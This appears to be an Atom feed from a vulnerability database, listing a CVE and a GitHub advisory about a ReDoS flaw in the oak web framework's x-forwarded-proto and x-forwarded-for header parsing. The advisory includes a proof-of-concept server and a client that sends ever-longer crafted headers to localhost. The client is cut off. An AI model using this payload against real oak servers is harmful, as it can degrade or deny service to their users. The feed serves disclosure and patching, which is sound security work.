<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://db.gcve.eu/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-04T09:49:02.902017+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@gcve.eu</email>
  </author>
  <link href="https://db.gcve.eu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://db.gcve.eu/vuln/fkie_cve-2025-55152</id>
    <title>fkie_cve-2025-55152</title>
    <updated>2026-10-04T09:49:02.919655+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml">
        <p>oak is a middleware framework for Deno's native HTTP server, Deno Deploy, Node.js 16.5 and later, Cloudflare Workers and Bun. In versions 17.1.5 and below, it's possible to significantly slow down an oak server with specially crafted values of the x-forwarded-proto or x-forwarded-for headers.</p>
      </div>
    </content>
    <link href="https://db.gcve.eu/vuln/fkie_cve-2025-55152"/>
  </entry>
  <entry>
    <id>https://db.gcve.eu/vuln/ghsa-r3v7-pc4g-7xp9</id>
    <title>GHSA-r3v7-pc4g-7xp9 — Oak Server has ReDoS in x-forwarded-proto and x-forwarded-for headers</title>
    <updated>2026-10-04T09:49:02.919725+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> npm: @oakserver/oak</p>
<p>### Summary</p>
<p>With specially crafted value of the `x-forwarded-proto` or `x-forwarded-for` headers, it's possible to significantly slow down an oak server.</p>
<p>### Vulnerable Code</p>
<p>- https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L87
- https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L142</p>
<p>### PoC</p>
<p>- setup
```
deno --version
deno 2.4.3
v8 13.7.152.14-rusty
typescript 5.8.3
```</p>
<p>- `server.ts`
```ts
import { Application } from "https://deno.land/x/oak/mod.ts";</p>
<p>const app = new Application({proxy: true});</p>
<p>let i = 1</p>
<p>app.use((ctx) =&gt; {</p>
<p>// let url = ctx.request.url   // test1) x-forwarded-proto
    let ips = ctx.request.ips   // test2) x-forwarded-for
    console.log(`request ${i} received`)
    i++;
    ctx.response.body = "hello";
});</p>
<p>await app.listen({ port: 8080 });
```</p>
<p>- `client.ts`
```ts
const lengths = [2000, 4000, 8000, 16000, 32000, 64000, 128000]</p>
<p>const data1 = lengths.map(l =&gt; 'A' + 'A'.repeat(l) + 'A');
const data2 = lengths.map(l =&gt; 'A' + ' '.repeat(l) + 'A');</p>
<p>async function run(data) {
    for (let i = 0; i &lt; data.length; i++) {
        let d = data[i];
        
        const start = performance.now();</p>
<p>await fetch("http://localhost:8080", {
            headers: {
                // "x-forwarded-proto": d,  // test1)
                "x-forwarded-for": d,    // test2)
            },
        });</p>
<p>const end = performance.now();
        console.log('length=%d, time=%d ms', d.length, end - start);
    }
}</p>
<p>console.log("\n[+] Test no…</p></div>
    </content>
    <link href="https://db.gcve.eu/vuln/ghsa-r3v7-pc4g-7xp9"/>
  </entry>
</feed>
